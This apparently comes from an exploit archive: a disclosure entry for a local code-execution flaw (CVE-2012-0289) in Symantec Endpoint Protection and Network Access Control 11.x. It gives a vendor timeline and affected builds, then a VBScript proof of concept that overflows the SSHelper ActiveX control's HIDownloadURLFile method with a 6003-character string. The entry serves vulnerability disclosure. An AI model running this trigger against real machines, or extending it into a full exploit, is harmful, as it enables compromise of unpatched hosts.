Symantec End Point Protection / Network Access Control 11.x Code Execution

`# Symantec End Point Protection 11.x & Symantec Network Access Control 11.x Local Code Execution POC  
# Date: 22/05/2012  
# Author: 41.w4r10r  
# Software Link: Symantec.com  
# Version: 11.x  
# Tested on:  
# Windows XP SP2 English  
# Windows XP SP3 English  
# Windows Vista 32Bit  
# Windows 7 32Bit  
# CVE : CVE-2012-0289  
  
Time Line:  
30/08/2011 - Sent Details of the vulnerability  
31/08/2011 - Symantec Requested Affected Version Details  
31/08/2011 - Provided Requested Information with POC  
27/09/2011 - Vulnerability Confirmed by Symantec  
22/05/2012 - Advisory Released  
  
Symantec Advisory:  
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120522_01  
  
Affected Products:  
  
Symantec Endpoint Protection  
11.0 RU6(11.0.600x)  
11.0 RU6-MP1(11.0.6100)  
11.0 RU6-MP2(11.0.6200)  
11.0 RU6-MP3(11.0.6300)  
11.0 RU7(11.0.700x)  
11.0 RU7-MP1(11.0.710x)  
  
Symantec Network Access Control  
11.0 RU6(11.0.600x)  
11.0 RU6-MP1(11.0.6100)  
11.0 RU6-MP2(11.0.6200)  
11.0 RU6-MP3(11.0.6300)  
11.0 RU7(11.0.700x)  
11.0 RU7-MP1(11.0.710x)  
  
Affected Resource:  
%%System%%\Symantec\Symantec Endpoint Protection\SSHelper.dll  
  
===  
POC  
===  
  
<?XML version='1.0' standalone='yes' ?>  
<package><job id='DoneInVBS' debug='false' error='true'>  
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' />  
<script language='vbscript'>  
prototype = "Function HIDownloadURLFile ( ByVal cookie As Long , ByVal  
url As String , ByVal file_path As String , ByVal rule_name As String ,  
ByVal cancel_message As String , ByVal downloading_time As Long , ByVal  
bResume As Boolean , ByVal bShowProgressDlg As Boolean , ByVal  
bAllowCancel As Boolean , ByVal username As String , ByVal password As  
String , ByVal show_error_delay As Long ) As Long"  
memberName = "HIDownloadURLFile"  
progid = "SSHELPERLib.SSHelper"  
argCount = 12  
arg1=1  
arg2="defaultV"  
arg3="defaultV"  
arg4="defaultV"  
arg5="defaultV"  
arg6=1  
arg7=True  
arg8=True  
arg9=True  
arg10="defaultV"  
arg11= String(6003, "A")  
arg12=1  
target.HIDownloadURLFile arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 ,arg8  
,arg9 ,arg10 ,arg11 ,arg12  
</script></job></package>  
  
`